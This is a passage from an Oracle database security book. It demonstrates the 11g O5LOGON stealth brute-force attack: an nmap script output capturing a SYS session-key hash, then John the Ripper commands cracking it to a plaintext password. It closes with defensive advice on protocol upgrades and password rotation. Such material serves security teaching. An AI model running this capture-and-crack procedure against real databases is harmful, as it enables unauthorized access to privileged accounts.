Database Reference
In-Depth Information
Starting Nmap 6.25 (
http://nmap.org
) at 2013-05-24 00:36 BST
Nmap scan report for 192.168.0.33
Host is up (0.00082s latency).
PORT STATE SERVICE
1521/tcp open oracle
| oracle-brute-stealth:
| Accounts
|
SYS:$o5logon$809C0EDD797F44892FD09FE9DB83B74F71A202C08BBE1BB2FBFEC8B4A2027C996C5C99F846938FD74CAF467
60F009C92*771F6ED96778842E475D - Hashed valid or invalid credentials
| Statistics
|_ Performed 1 guesses in 448 seconds, average tps: 0
Nmap done: 1 IP address (1 host up) scanned in 476.26 seconds
■
the tail on syslog has not returned an extra audit entry from the nmap stage! therefore the attack has not
been identified.
Note
Now that the session key (encrypted using the server's copy of the password hash and the salt) has been captured
silently by nmap, we feed the result into John the Ripper (from
www.openwall.com
)
to brute force that cipher text to
the plaintext password. This is achievable due to the known fixed-length plaintext padding that becomes visible when
the decryption has been successful. For example:
[/home/oracle/john/JohnTheRipper-unstable-jumbo]
root@orlin $ ./run/john ./hashes.txt
Loaded 1 password hash (Oracle O5LOGON protocol [32/64])
MYpassword_12
(SYS)
guesses: 1 time: 0:00:00:00 DONE (Fri May 24 00:49:30 2013) c/s: 2763 trying: MYpassword_12
If the brute force fails due to the password not being in the dictionary, the attacker will see the following output.
An attacker would then increase the size of the dictionary and tune its contents to the profile of the victim
(more on this in Chapter 3).
root@orlin $ ./run/john ./hashes.txt
Loaded 1 password hash (Oracle O5LOGON protocol [32/64])
No password hashes left to crack (see FAQ)
As the brute-force attack is done offline with no audit entry, the advantage lies with the attacker. The main
solution to the 11g stealth brute-force issue is to either downgrade back to 10g protocol (O3LOGON) or upgrade to
11.2.0.3 and use version 12 network protocol, as the version 12 protocol does not suffer from this stealth brute-force
problem. I recommend the latter, as O3LOGON has weaknesses of its own that are documented by Laszlo Toth here:
The main barrier to an attacker being able to break in to an 11g database using the method just described is their
access to offline computing power. The brute forcing requires two cryptographic calculations, i.e., hash generation
and
AUTH_SESSKEY
decryption. So the battle is whether the attacker can guess the password before the password is
changed. Hence, the requirement for regular password changes, usually every 90 days, in conjunction with minimum
complexity. Such password changes are all the more needed given the advances in HPC, FPGAs, and GPU parallel
processing such as CUDA.
